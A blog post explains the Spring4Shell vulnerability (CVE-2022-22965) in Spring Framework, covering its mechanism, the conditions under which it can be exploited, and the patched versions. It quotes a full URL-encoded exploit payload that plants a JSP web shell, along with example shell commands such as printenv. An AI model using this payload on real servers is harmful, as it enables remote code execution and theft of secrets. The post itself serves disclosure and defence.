Spring4Shell

The Spring4Shell (CVE-2022-22965) critical severity vulnerability in Spring Framework allows remote code execution (RCE). At time of writing, it can be exploited only in very specific scenarios. However, Spring have made a patch available (Spring Framework version 5.3.18 and 5.2.20) and I strongly advise you to take them, even if you’re not running the exploitable setup.

How it works

LunaSec has published an excellent analysis of the vulnerability. It works by exploiting a @ModelAttribute annotated parameter of an MVC Controller:

@Controller
public class HelloController {

    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }

}

Query parameters passed to /greeting are used to create the instance of the Greeting POJO using bean introspection. Unfortunately, Spring’s introspection mechanism can access not only the values exposed by the POJO getters and setters but values of the superclass (Object) including (get)Class. If we can access the Class object, we can traverse to the ClassLoader and cause some damage.

Exploiting Spring4Shell

LunaSec has published a proof of concept based on work by reznok. It’s a very simple Spring Boot application built with Maven and deployed into a vulnerable Tomcat 9 using Docker. They’ve even packaged the attack as a nice Python script.

The attack script just sends a GET request to the vulnerable application with some wacky looking parameters:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

This creates a new JSP on the server that executes the value of its cmd parameter. The result is very nasty:

shell.jsp?cmd=ls
shell.jsp?cmd=ls /
shell.jsp?cmd=printenv

Am I vulnerable?

The reznok proof of concept specifically requires the following to be exploitable:

  • Unpatched Spring Framework (version 5.3.17 / 5.2.19 or anything older)
  • spring-mvc or spring-webflux
  • JDK 9 or higher
  • The application is deployed as a war in a standalone (unpatched) Tomcat.

However, new exploit methods may be discovered for this vulnerability so you should upgrade Spring Framework to a patched version (5.3.18 or 5.2.20) as soon as possible. There is also a patch in the latest Tomcat releases (10.0.20, 9.0.62 or 8.5.78) which you should also take if that’s how you deploy your apps.

Currently, no exploit has been discovered when deploying a Spring Boot executable JAR. Again though, it’s possible an exploit may be discovered later and it’s always good practice to keep on top of all security patches.

Leave a Reply

Your email address will not be published.